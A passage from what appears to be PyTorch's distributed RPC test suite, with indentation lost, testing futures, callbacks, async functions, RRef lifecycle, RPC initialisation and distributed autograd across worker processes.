self.assertTrue(len(_thread_local_var.future_list) == 1)
self.assertTrue(isinstance(_thread_local_var.future_list[0], torch._C.Future))
self.assertTrue(fut.done())
self.assertEqual(fut.wait(), torch.ones(2, 2) + 1)
self.assertFalse(hasattr(_thread_local_var, "future_list"))
@dist_init
def test_wait_all_multiple_call(self):
with _wait_all():
self.assertTrue(_thread_local_var.future_list == [])
dst = worker_name((self.rank + 1) % self.world_size)
for i in range(20):
fut = rpc.rpc_async(dst, torch.add, (torch.ones(i, i), 1))
res = rpc.rpc_sync(dst, torch.add, (torch.ones(i, i), 1))
self.assertEqual(res, torch.ones(i, i) + 1)
self.assertEqual(fut.wait(), torch.ones(i, i) + 1)
self.assertTrue(len(_thread_local_var.future_list) == 20)
self.assertFalse(hasattr(_thread_local_var, "future_list"))
@dist_init
def test_wait_all_timeout(self):
expected_error = self.get_timeout_error_regex()
with self.assertRaisesRegex(RuntimeError, expected_error):
with _wait_all():
self.assertTrue(_thread_local_var.future_list == [])
dst = worker_name((self.rank + 1) % self.world_size)
timeout = 0.1 # 100 ms
fut = rpc.rpc_async(dst, my_sleep_func, args=(1,), timeout=timeout)
self.assertFalse(hasattr(_thread_local_var, "future_list"))
@dist_init
def test_wait_all_raise_in_user_func(self):
with self.assertRaises(ValueError):
with _wait_all():
self.assertTrue(_thread_local_var.future_list == [])
dst = worker_name((self.rank + 1) % self.world_size)
fut = rpc.rpc_async(dst, raise_func)
self.assertFalse(hasattr(_thread_local_var, "future_list"))
@dist_init
def test_wait_all_raise_in_body(self):
with self.assertRaises(ValueError):
with _wait_all():
raise_func()
self.assertFalse(hasattr(_thread_local_var, "future_list"))
timed_out_rpc_event = None
@staticmethod
def timed_out_rpc():
RpcTest.timed_out_rpc_event.wait()
@dist_init
def test_wait_all_exit_early_python(self):
# Initialize the event in the subprocess.
RpcTest.timed_out_rpc_event = Event()
# Wait for all processes to initialize event.
initialize_pg(self.file_init_method, self.rank, self.world_size)
dist.barrier()
dst = worker_name((self.rank + 1) % self.world_size)
fut1 = rpc.rpc_async(dst, RpcTest.timed_out_rpc)
fut2 = rpc.rpc_async(dst, raise_func)
fut3 = rpc.rpc_async(dst, raise_func)
# We should receive the error from fut2
with self.assertRaisesRegex(ValueError, expected_err):
torch.futures.wait_all([fut1, fut2, fut3])
# Unblock RPC thread for fut1
RpcTest.timed_out_rpc_event.set()
@dist_init
def test_wait_all_exit_early_builtin(self):
# Initialize the event in the subprocess.
RpcTest.timed_out_rpc_event = Event()
# Wait for all processes to initialize event.
initialize_pg(self.file_init_method, self.rank, self.world_size)
dist.barrier()
dst = worker_name((self.rank + 1) % self.world_size)
fut1 = rpc.rpc_async(dst, RpcTest.timed_out_rpc)
fut2 = rpc.rpc_async(dst, torch.add, args=(torch.rand(10), torch.rand(5)))
fut3 = rpc.rpc_async(dst, torch.add, args=(torch.rand(10), torch.rand(5)))
# We should receive the error from fut2
with self.assertRaisesRegex(RuntimeError, "size of tensor"):
torch.futures.wait_all([fut1, fut2, fut3])
# Unblock RPC thread for fut1
RpcTest.timed_out_rpc_event.set()
@dist_init
def test_wait_all_exit_early_script_function(self):
# Initialize the event in the subprocess.
RpcTest.timed_out_rpc_event = Event()
# Wait for all processes to initialize event.
initialize_pg(self.file_init_method, self.rank, self.world_size)
dist.barrier()
dst = worker_name((self.rank + 1) % self.world_size)
fut1 = rpc.rpc_async(dst, RpcTest.timed_out_rpc)
fut2 = rpc.rpc_async(dst, raise_func_script, args=(expected_err,))
fut3 = rpc.rpc_async(dst, raise_func_script, args=(expected_err,))
# We should receive the error from fut2
with self.assertRaisesRegex(RuntimeError, expected_err):
torch.futures.wait_all([fut1, fut2, fut3])
# Unblock RPC thread for fut1
RpcTest.timed_out_rpc_event.set()
@dist_init
def test_function_not_on_callee(self):
# test that if a function does not exist on a callee, we don't crash,
# instead we get an AttributeError indicating that the func does not exist.
this_module = sys.modules[__name__]
caller_worker = "worker0"
callee_worker = "worker1"
if self.rank == 1:
# Use delattr to remove the binding of a func on this nodes
delattr(this_module, "foo_add")
# notify remote end that we have removed it.
rpc.rpc_sync(caller_worker, set_value, args=(self.rank,))
if self.rank == 0:
# func exists on caller, but not callee.
# wait for remote end to remove the binding of foo_add func.
wait_for_value_future()
# Ensure that we have the attribute on this module. Otherwise, the test could fail due to a caller-side pickling error.
self.assertTrue(hasattr(this_module, "foo_add"))
with self.assertRaisesRegex(
RuntimeError, "RPC pickler does not serialize"
):
rpc.rpc_sync(callee_worker, foo_add, args=())
@dist_init
def test_non_garbage_collected_user_rref_due_to_local_circular_dependency(self):
dst_worker_name = worker_name((self.rank + 1) % self.world_size)
a = MyClass(1)
b = MyClass(2)
# This is to make Python not garbage collect a and b.
a.other = b
b.other = a
n = self.rank
a.rref = rpc.remote(
dst_worker_name,
torch.add,
args=(torch.ones(n, n), 2)
)
@dist_init(setup_rpc=False)
def test_use_rref_after_shutdown(self):
rpc.init_rpc(
name="worker%d" % self.rank,
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
n = self.rank + 1
dst_rank = n % self.world_size
rref = rpc.remote(
worker_name(dst_rank),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n)),
)
# pass in graceful=True to ensure that local UserRRefs are deleted.
rpc.shutdown(graceful=True)
with self.assertRaisesRegex(
RuntimeError, "Cannot call to_here\\(\\) on it after deletion."
):
rref.to_here()
with self.assertRaisesRegex(
RuntimeError, "Cannot call fork an UserRRef after deletion."
):
import torch.distributed.rpc.internal as internal
internal.serialize(rref)
@staticmethod
def _return_gpu_tensor():
return torch.rand(3, 3).cuda(0)
@staticmethod
def _return_gpu_tensor_list():
return [torch.rand(3, 3).cuda(0), torch.rand(3, 3).cuda(1)]
@staticmethod
def _gpu_tensor_list_arg(tensor_list):
return torch.rand(3, 3)
def _create_rref(self):
owner_rank = (self.rank + 2) % self.world_size
return rpc.remote(
worker_name(owner_rank),
torch.add,
args=(torch.zeros(2, 2), 1)
)
@dist_init
def test_user_rrefs_confirmed(self):
dst_rank = (self.rank + 1) % self.world_size
rref = self._create_rref()
ret = rpc.rpc_sync(
worker_name(dst_rank),
check_rref_confirmed,
args=(rref,)
)
self.assertEqual(ret, True)
@dist_init
def test_user_rrefs_confirmed_remote(self):
dst_rank = (self.rank + 1) % self.world_size
rref = self._create_rref()
ret_rref = rpc.remote(
worker_name(dst_rank),
check_rref_confirmed,
args=(rref,)
)
self.assertEqual(ret_rref.to_here(), True)
@dist_init
def test_rref_py_pickle_not_supported(self):
local_rref = RRef(35)
with TemporaryFileName() as fname:
with self.assertRaisesRegex(RuntimeError, "Can not pickle rref in python pickler"):
torch.save(local_rref, fname)
@dist_init
def test_remote_throw(self):
rref = rpc.remote(worker_name((self.rank + 1) % self.world_size),
raise_or_inc,
args=(torch.ones(2),))
with self.assertRaisesRegex(Exception, ".*Expected error.*"):
rref.to_here()
@dist_init
def test_non_cont_tensors(self):
if self.rank == 0:
# Create a non-contiguous tensor.
t = torch.rand(5, 5)
t_view = t.narrow(1, 2, 2)
self.assertFalse(t_view.is_contiguous())
t_cont = t_view.contiguous()
self.assertTrue(t_cont.is_contiguous())
self.assertEqual(t_view, t_cont)
# Send non-cont tensor over RPC.
next_rank = (self.rank + 1) % self.world_size
t_ret = rpc.rpc_sync(worker_name(next_rank), non_cont_test, args=(t_view, t_cont))
# Verify the returned tensor.
self.assertEqual(t_view, t_ret)
self.assertFalse(t_ret.is_contiguous())
@dist_init
def test_callback_simple(self):
set_by_cb = concurrent.futures.Future()
n = self.rank + 1
def callback(fut):
ret = fut.wait()
self.assertEqual(ret, torch.ones(n, n) * 2)
set_by_cb.set_result(ret.clone() + 1)
fut = rpc.rpc_async(
worker_name(n % self.world_size),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n))
)
fut.then(callback)
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
self.assertEqual(set_by_cb.result(), torch.ones(n, n) * 2 + 1)
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
@dist_init
def test_callback_wrong_arg_num(self):
set_by_cb = concurrent.futures.Future()
n = self.rank + 1
fut = rpc.rpc_async(
worker_name(n % self.world_size),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n))
)
cb_fut = fut.then(my_function)
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
with self.assertRaisesRegex(
RuntimeError,
"my\\_function\\(\\) missing 2 required positional arguments"
):
cb_fut.wait()
@dist_init
def test_callback_wrong_arg_type(self):
dst = worker_name((self.rank + 1) % self.world_size)
fut0 = rpc.rpc_async(dst, torch.add, args=(torch.ones(2, 2), 1))
fut1 = fut0.then(lambda x: x + 1)
with self.assertRaisesRegex(
RuntimeError,
"unsupported operand type\\(s\\) for \\+"
):
fut1.wait()
@dist_init
def test_callback_multi(self):
num_cbs = 10
n = self.rank + 1
def callback(idx, fut):
ret = fut.wait()
self.assertEqual(ret, torch.ones(n, n) * 2)
return ret + idx
fut = rpc.rpc_async(
worker_name(n % self.world_size),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n))
)
cb_futs = []
for idx in range(num_cbs):
cb_futs.append(fut.then(partial(callback, idx)))
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
for idx in range(num_cbs):
self.assertEqual(
cb_futs[idx].wait(),
torch.ones(n, n) * 2 + idx
)
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
@dist_init
def test_callback_chain(self):
n = self.rank + 1
dst = worker_name(n % self.world_size)
def callback(fut):
return fut.wait() + 1
fut = rpc.rpc_async(
worker_name(n % self.world_size),
torch.add,
args=(torch.ones(n, n), 1)
)
num_cbs = 20
for _ in range(num_cbs):
fut = fut.then(callback)
self.assertEqual(fut.wait(), torch.ones(n, n) + 1 + num_cbs)
@dist_init
def test_callback_in_rpc(self):
dst1 = worker_name((self.rank + 1) % self.world_size)
dst2 = worker_name((self.rank + 2) % self.world_size)
ret = rpc.rpc_sync(
dst1,
add_use_future_cb,
args=(dst2, torch.ones(2, 2), 1, 2)
)
self.assertEqual(ret, torch.ones(2, 2) + 1 + 2)
@dist_init
def test_callback_with_ret(self):
dst = worker_name((self.rank + 1) % self.world_size)
def callback(fut0):
fut2 = rpc.rpc_async(
dst,
torch.add,
args=(fut0.wait(), 1)
).then(lambda fut1: fut1.wait() + 1)
return fut2.wait()
fut3 = rpc.rpc_async(
dst,
torch.add,
args=(torch.ones(2, 2), 1)
).then(callback)
self.assertEqual(fut3.wait(), torch.ones(2, 2) + 3)
@dist_init
def test_callback_with_error(self):
dst = worker_name((self.rank + 1) % self.world_size)
def callback(fut0):
with self.assertRaisesRegex(ValueError, "Expected error"):
fut0.wait()
raise RuntimeError("Another expected error")
fut1 = rpc.rpc_async(dst, raise_func).then(callback)
with self.assertRaisesRegex(RuntimeError, "Another expected error"):
fut1.wait()
@dist_init
def test_callback_none(self):
dst = worker_name((self.rank + 1) % self.world_size)
with self.assertRaisesRegex(
TypeError,
"incompatible function arguments."
):
rpc.rpc_async(dst, raise_func).then(None)
@dist_init
def test_add_done_callback(self):
set_by_cb = False
n = self.rank + 1
def callback(fut):
nonlocal set_by_cb
fut.wait()
set_by_cb = True
fut = rpc.rpc_async(
worker_name(n % self.world_size),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n))
)
fut.add_done_callback(callback)
fut_then = fut.then(lambda _: True)
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
# We have no guarantee that the add_done_callback fn will execute before the test finishes.
# Adding a 'then' callback that runs afterwards to guarantee we wait for the first callback
fut_then.wait()
self.assertTrue(set_by_cb)
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
@dist_init
def test_mark_future_twice(self):
fut = rpc.rpc_async(
worker_name((self.rank + 1) % self.world_size),
torch.add,
args=(torch.zeros(2, 2), 1)
)
self.assertEqual(fut.wait(), torch.zeros(2, 2) + 1)
with self.assertRaisesRegex(
RuntimeError,
"Future can only be marked completed once"
):
fut.set_result(1)
@dist_init
def test_pickle_future(self):
fut = torch.futures.Future()
errMsg = "Can not pickle torch.futures.Future"
dst = worker_name((self.rank + 1) % self.world_size)
with TemporaryFileName() as fname:
with self.assertRaisesRegex(RuntimeError, errMsg):
rpc.rpc_sync(dst, fail_on_fut, args=(fut,))
with TemporaryFileName() as fname:
with self.assertRaisesRegex(RuntimeError, errMsg):
rpc.rpc_async(dst, fail_on_fut, args=(fut,))
with TemporaryFileName() as fname:
with self.assertRaisesRegex(RuntimeError, errMsg):
rpc.remote(dst, fail_on_fut, args=(fut,))
@dist_init
def test_future_done(self):
dst = worker_name((self.rank + 1) % self.world_size)
fut = rpc.rpc_async(dst, torch.add, args=(torch.zeros(2), 1))
fut.wait()
self.assertTrue(fut.done())
@dist_init
def test_future_done_exception(self):
dst = worker_name((self.rank + 1) % self.world_size)
fut = rpc.rpc_async(dst, raise_func)
with self.assertRaisesRegex(ValueError, "Expected error"):
fut.wait()
self.assertTrue(fut.done())
def _test_future_cb(self, func):
dst1 = worker_name((self.rank + 1) % self.world_size)
dst2 = worker_name((self.rank + 2) % self.world_size)
ret = rpc.rpc_sync(
dst1,
func,
args=(dst2, torch.ones(2, 2), 1, 2)
)
self.assertEqual(ret, torch.ones(2, 2) + 1 + 2)
@dist_init
def test_future_in_rpc(self):
self._test_future_cb(add_use_future_set_result)
@dist_init
def test_future_nested_callback(self):
self._test_future_cb(add_use_future_nested_cb)
def _test_async_function_raise(self, mode):
with self.assertRaisesRegex(RuntimeError, "Expected error"):
self._run_func_in_mode(
worker_name((self.rank + 1) % self.world_size),
async_raise_func,
mode
)
@dist_init
def test_async_function_raise(self):
self._test_async_function_raise(RPCExecMode.SYNC)
@dist_init
def test_async_function_raise_async(self):
self._test_async_function_raise(RPCExecMode.ASYNC)
@dist_init
def test_async_function_raise_remote(self):
self._test_async_function_raise(RPCExecMode.REMOTE)
def _test_async_function_wrong_return_type(self, mode):
errMsg = (
"Functions decorated with @rpc\\.async_function must return a "
"torch\\.futures\\.Future object,"
)
with self.assertRaisesRegex(RuntimeError, errMsg):
self._run_func_in_mode(
worker_name((self.rank + 1) % self.world_size),
async_wrong_type,
mode
)
@dist_init
def test_async_function_wrong_return_type(self):
self._test_async_function_wrong_return_type(RPCExecMode.SYNC)
@dist_init
def test_async_function_wrong_return_type_async(self):
self._test_async_function_wrong_return_type(RPCExecMode.ASYNC)
@dist_init
def test_async_function_wrong_return_type_remote(self):
self._test_async_function_wrong_return_type(RPCExecMode.REMOTE)
@dist_init
def test_async_function_simple(self):
dst1 = worker_name((self.rank + 1) % self.world_size)
dst2 = worker_name((self.rank + 2) % self.world_size)
ret = rpc.rpc_sync(dst1, async_add, args=(dst2, torch.ones(2, 2), 1))
self.assertEqual(ret, torch.ones(2, 2) + 1)
def _test_async_function(self, fn, mode=RPCExecMode.SYNC):
dst1 = worker_name((self.rank + 1) % self.world_size)
dst2 = worker_name((self.rank + 2) % self.world_size)
args = (dst2, torch.ones(2, 2), 1, 2)
ret = self._run_func_in_mode(dst1, fn, mode, args=args)
self.assertEqual(ret, torch.ones(2, 2) + 3)
@dist_init
def test_async_function_with_future_ctor(self):
self._test_async_function(async_add_with_future_ctor)
@dist_init
def test_async_function_with_future_ctor_remote(self):
self._test_async_function(
async_add_with_future_ctor,
RPCExecMode.REMOTE
)
@dist_init
def test_async_function_chained(self):
self._test_async_function(async_add_chained)
@dist_init
def test_async_function_chained_remote(self):
self._test_async_function(async_add_chained, RPCExecMode.REMOTE)
@dist_init
def test_async_function_nested(self):
self._test_async_function(async_add_nested)
@dist_init
def test_async_function_nested_remote(self):
self._test_async_function(async_add_nested, RPCExecMode.REMOTE)
@dist_init
def test_async_static_method(self):
self._test_async_function(AsyncExecutionClass.static_async_add)
@dist_init
def test_async_static_method_remote(self):
self._test_async_function(
AsyncExecutionClass.static_async_add,
RPCExecMode.REMOTE
)
@dist_init
def test_async_class_method(self):
self._test_async_function(AsyncExecutionClass.class_async_add)
@dist_init
def test_async_class_method_remote(self):
self._test_async_function(
AsyncExecutionClass.class_async_add,
RPCExecMode.REMOTE
)
def _test_test_async_class_rref_proxy(self, mode=RPCExecMode.SYNC):
dst1 = worker_name((self.rank + 1) % self.world_size)
dst2 = worker_name((self.rank + 2) % self.world_size)
rref = rpc.remote(dst1, AsyncExecutionClass)
x = torch.ones(2, 2)
y = torch.ones(2, 2) + 1
if mode == RPCExecMode.SYNC:
ret = rref.rpc_sync().static_async_add(dst2, x, x, y)
ret += rref.rpc_sync().class_async_add(dst2, x, x, y)
ret += rref.rpc_sync().bound_async_add(dst2, x, x, y)
elif mode == RPCExecMode.ASYNC:
ret = rref.rpc_async().static_async_add(dst2, x, x, y).wait()
ret += rref.rpc_async().class_async_add(dst2, x, x, y).wait()
ret += rref.rpc_async().bound_async_add(dst2, x, x, y).wait()
elif mode == RPCExecMode.REMOTE:
ret = rref.remote().static_async_add(dst2, x, x, y).to_here()
ret += rref.remote().class_async_add(dst2, x, x, y).to_here()
ret += rref.remote().bound_async_add(dst2, x, x, y).to_here()
self.assertEqual(ret, 3 * 4 * x)
@dist_init
def test_async_class_rref_proxy(self):
self._test_test_async_class_rref_proxy()
@dist_init
def test_async_class_rref_proxy_async(self):
self._test_test_async_class_rref_proxy(mode=RPCExecMode.ASYNC)
@dist_init
def test_async_class_rref_proxy_remote(self):
self._test_test_async_class_rref_proxy(mode=RPCExecMode.REMOTE)
def _test_async_function_multi(self, fn, mode=RPCExecMode.SYNC):
dst1 = worker_name((self.rank + 1) % self.world_size)
dst2 = worker_name((self.rank + 2) % self.world_size)
num = 20
step = 3
args = (dst2, torch.ones(2, 2), num, step)
ret = self._run_func_in_mode(dst1, fn, mode, args=args)
self.assertEqual(ret, torch.ones(2, 2) + num * step)
@dist_init
def test_async_function_multi_chained(self):
self._test_async_function_multi(async_add_chained_multi)
@dist_init
def test_async_function_multi_chained_async(self):
self._test_async_function_multi(
async_add_chained_multi,
RPCExecMode.ASYNC
)
@dist_init
def test_async_function_multi_chained_remote(self):
self._test_async_function_multi(
async_add_chained_multi,
RPCExecMode.REMOTE
)
@dist_init
def test_async_function_multi_fanout(self):
self._test_async_function_multi(async_add_multi_fanout)
@dist_init
def test_async_function_multi_fanout_async(self):
self._test_async_function_multi(
async_add_multi_fanout,
RPCExecMode.ASYNC
)
@dist_init
def test_async_function_multi_fanout_remote(self):
self._test_async_function_multi(
async_add_multi_fanout,
RPCExecMode.REMOTE
)
def _test_return_future(self, mode):
with self.assertRaisesRegex(
RuntimeError,
"Can not pickle torch.futures.Future"
):
self._run_func_in_mode(
worker_name((self.rank + 1) % self.world_size),
return_future,
mode
)
@dist_init
def test_return_future(self):
self._test_return_future(RPCExecMode.SYNC)
@dist_init
def test_return_future_async(self):
self._test_return_future(RPCExecMode.ASYNC)
@dist_init
def test_return_future_remote(self):
self._test_return_future(RPCExecMode.REMOTE)
@dist_init
def test_rref_timeout(self):
# This test is similar to ones in FaultyProcessGroupTest, but is meant to be
# run with other backends besides ProcessGroup.
if self.rank != 0:
return
dst_rank = (self.rank + 1) % self.world_size
dst_worker = "worker{}".format(dst_rank)
# 10 ms timeout
rref = rpc.remote(dst_worker, my_sleep_func, args=(2, ), timeout=0.01)
# Future corresponding to the remote creation should time out.
expected_error = self.get_timeout_error_regex()
with self.assertRaisesRegex(RuntimeError, expected_error):
rref._get_future().wait()
# Call to ensure pending callbacks are run.
wait_until_pending_futures_and_users_flushed()
with self.assertRaisesRegex(RuntimeError, "RRef creation"):
rref.to_here()
wait_until_owners_and_forks_on_rank(1, 1, rank=1)
@dist_init(setup_rpc=False)
@sandcastle_skip_if(
os.environ.get("RPC_INIT_WITH_TCP", None) == "1",
"init_pg_then_rpc does not work with TCP init, see https://github.com/pytorch/pytorch/issues/41614."
)
def test_init_pg_then_rpc(self):
dist.init_process_group(
backend="gloo",
init_method=self.init_method,
rank=self.rank,
world_size=self.world_size,
)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
# Test RPC.
next_rank = (self.rank + 1) % self.world_size
ret = rpc.rpc_sync(worker_name(next_rank), torch.add, args=(torch.ones(2, 2), 1))
self.assertEqual(ret, torch.ones(2, 2) + 1)
# Test PG
dist.barrier()
rpc.shutdown()
@dist_init(setup_rpc=False)
@sandcastle_skip_if(
os.environ.get("RPC_INIT_WITH_TCP", None) == "1",
"init_rpc_then_pg does not work with TCP init, see https://github.com/pytorch/pytorch/issues/41614."
)
def test_init_rpc_then_pg(self):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
dist.init_process_group(
backend="gloo",
init_method=self.init_method,
rank=self.rank,
world_size=self.world_size,
)
# Test RPC.
next_rank = (self.rank + 1) % self.world_size
ret = rpc.rpc_sync(worker_name(next_rank), torch.add, args=(torch.ones(2, 2), 1))
self.assertEqual(ret, torch.ones(2, 2) + 1)
# Test PG
dist.barrier()
rpc.shutdown()
@dist_init
def test_wait_all_with_exception(self):
futs = []
dst = worker_name((self.rank + 1) % self.world_size)
for _ in range(10):
futs.append(rpc.rpc_async(dst, raise_func))
with self.assertRaisesRegex(ValueError, "Expected error"):
ret = torch.futures.wait_all(futs)
@dist_init
def test_wait_all_with_partial_exception(self):
futs = []
dst = worker_name((self.rank + 1) % self.world_size)
for _ in range(10):
futs.append(rpc.rpc_async(dst, torch.add, args=(torch.ones(2), 1)))
futs.append(rpc.rpc_async(dst, raise_func))
with self.assertRaisesRegex(ValueError, "Expected error"):
ret = torch.futures.wait_all(futs)
@dist_init(setup_rpc=False)
@sandcastle_skip_if(
os.environ.get("RPC_INIT_WITH_TCP", None) == "1",
"Test does not work with TCP init, see https://github.com/pytorch/pytorch/issues/46491",
)
def test_init_rpc_twice(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
rpc.shutdown()
# Wait for all init to complete.
dist.barrier()
# Ensure rpc initialization works again.
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
# Verify RPCs work after re-init.
dst = worker_name((self.rank + 1) % self.world_size)
rpc.rpc_sync(dst, torch.add, args=(torch.ones(2, 2), 1))
rpc.rpc_sync(dst, foo_add, args=())
rpc.shutdown()
# Test init_rpc without world_size argument
@dist_init(setup_rpc=False)
def test_init_rpc_without_world_size(self):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=self.rpc_backend_options,
)
rpc.shutdown()
# Dynamic RPC new ranks communicate with existing ranks
@dist_init(setup_rpc=False)
def test_without_world_size_new_rank_can_communicated_with_existing_rank(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
if self.rank == 0:
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=self.rpc_backend_options,
)
# Rank 0 will be initialized with RPC after this barrier
dist.barrier()
if self.rank != 0:
# Newly joined ranks will be able to communicate with rank 0, since that was created first
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=self.rpc_backend_options,
)
result = rpc.rpc_sync(worker_name(0), torch.add, args=(torch.tensor(1), torch.tensor(1)))
self.assertEqual(torch.add(torch.tensor(1), torch.tensor(1)), result)
# Barrier to ensure that all rpc_sync calls are finished
dist.barrier()
rpc.shutdown()
# Dynamic RPC existing ranks can communicate with new ranks
@dist_init(setup_rpc=False)
def test_without_world_size_existing_rank_can_communicate_with_new_rank(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
if self.rank == 0:
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=self.rpc_backend_options,
)
# Rank 0 will be initialized with RPC after this barrier
dist.barrier()
# Rest of ranks join after barrier
if self.rank != 0:
# Newly joined ranks will be able to communicate with rank 0, since that was created first
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=self.rpc_backend_options,
)
dist.barrier()
if self.rank == 0:
for i in range(1, self.world_size):
result = rpc.rpc_sync(worker_name(i), torch.add, args=(torch.tensor(1), torch.tensor(1)))
self.assertEqual(torch.add(torch.tensor(1), torch.tensor(1)), result)
# Barrier to ensure that all rpc_sync calls are finished
dist.barrier()
rpc.shutdown()
# Dynamic RPC existing ranks can communicate with new ranks using CUDA rpc
@skip_if_lt_x_gpu(2)
@dist_init(setup_rpc=False)
def test_without_world_size_existing_rank_can_communicate_with_new_rank_cuda(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
if self.rank == 0:
options = self.rpc_backend_options
for i in range(1, self.world_size):
dst = worker_name(i)
options.set_device_map(dst, {1: 0})
options.set_device_map(dst, {0: 1})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=options,
)
# Rank 0 will be initialized with RPC after this barrier
dist.barrier()
# Rest of ranks join after barrier
if self.rank != 0:
# Newly joined ranks will be able to communicate with rank 0, since that was created first
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=self.rpc_backend_options,
)
dist.barrier()
if self.rank == 0:
for i in range(1, self.world_size):
x = torch.ones(2)
result_on_device_0 = rpc.rpc_sync(worker_name(i), torch.add, args=(x.to(0), 1))
result_on_device_1 = rpc.rpc_sync(worker_name(i), torch.add, args=(x.to(1), 1))
self.assertEqual(torch.add(torch.ones(2), 1), result_on_device_0)
self.assertEqual(torch.device('cuda:0'), result_on_device_0.device)
self.assertEqual(torch.add(torch.ones(2), 1), result_on_device_1)
self.assertEqual(torch.device('cuda:1'), result_on_device_1.device)
# Barrier to ensure that all rpc_sync calls are finished
dist.barrier()
rpc.shutdown()
@dist_init(setup_rpc=False)
def test_init_rpc_without_world_size_without_rank(self):
# default initialization uses file init
with self.assertRaisesRegex(ValueError, "rank parameter missing"):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rpc_backend_options=self.rpc_backend_options,
)
# env init
with self.assertRaisesRegex(ValueError, "environment variable RANK expected"):
rpc_backend_options = rpc.TensorPipeRpcBackendOptions(init_method="env://")
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rpc_backend_options=rpc_backend_options,
)
# tcp init
with self.assertRaisesRegex(ValueError, "rank parameter missing"):
rpc_backend_options = rpc.TensorPipeRpcBackendOptions(init_method="tcp://127.0.0.1:23456")
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rpc_backend_options=rpc_backend_options,
)
@dist_init(setup_rpc=False)
def test_init_dynamic_and_static_rpc_group(self):
# Initialize a static rpc group with size = self.world_size - 1
dist.init_process_group(
backend='gloo',
init_method=self.file_init_method,
rank=self.rank,
world_size=self.world_size)
world_size_minus_one = self.world_size - 1
if self.rank < world_size_minus_one:
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=world_size_minus_one,
rpc_backend_options=self.rpc_backend_options,
)
dist.barrier()
# Attempt to add an additional dynamic group member
if self.rank == world_size_minus_one:
with self.assertRaisesRegex(RuntimeError, "RPC group mixes statically and dynamically\
initialized members which is not supported."):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
rpc_backend_options=self.rpc_backend_options,
)
def test_wrong_types(self):
with self.assertRaisesRegex(
TypeError,
"Argument backend must be a member of BackendType",
):
rpc.init_rpc(
name=worker_name(self.rank),
rank=self.rank,
world_size=self.world_size,
backend="TENSORPIPE",
)
with self.assertRaisesRegex(
TypeError,
"Argument rpc_backend_options must be an instance of RpcBackendOptions",
):
rpc.init_rpc(
name=worker_name(self.rank),
rank=self.rank,
world_size=self.world_size,
backend=self.rpc_backend,
rpc_backend_options={"init_method": self.init_method}
)
def test_cannot_infer_backend_from_options(self):
# An exception should be raised if the backend isn't specified but
# options are given which are not an instance of any of the known
# agents' option classes.
rpc_backend_options = FooBackendOptions(self.init_method)
with self.assertRaisesRegex(TypeError, "Could not infer backend for options"):
rpc.init_rpc(
name=worker_name(self.rank),
rank=self.rank,
world_size=self.world_size,
# Do _not_ pass backend.
rpc_backend_options=rpc_backend_options,
)
@dist_init
def test_owner_rref_backward(self):
dst = worker_name((self.rank + 1) % self.world_size)
t1 = torch.rand(10, 10, requires_grad=True)
rref = rpc.RRef(t1.sum() + t1.sum())
rref.backward()
expected_grad = torch.ones_like(t1) * 2
self.assertEqual(expected_grad, t1.grad)
with dist_autograd.context() as context_id:
t2 = rpc.rpc_sync(dst, torch.add, args=(t1, t1))
rref = rpc.RRef(t2.sum())
rref.backward(context_id)
self.assertEqual(expected_grad, dist_autograd.get_gradients(context_id)[t1])
# Double backward.
with dist_autograd.context() as context_id:
t2 = rpc.rpc_sync(dst, torch.add, args=(t1, t1))
rref = rpc.RRef(t2.sum())
rref.backward(context_id, retain_graph=True)
rref.backward(context_id)
self.assertEqual(expected_grad * 2, dist_autograd.get_gradients(context_id)[t1])
# Test errors.
with self.assertRaisesRegex(RuntimeError, "tensors does not require grad and does not have a grad_fn"):
rpc.RRef(torch.rand(10)).backward()
with self.assertRaisesRegex(RuntimeError, "grad can be implicitly created only for scalar outputs"):
rpc.RRef(torch.rand(10, requires_grad=True)).backward()
with self.assertRaisesRegex(RuntimeError, "Could not find autograd context with id: 100"):
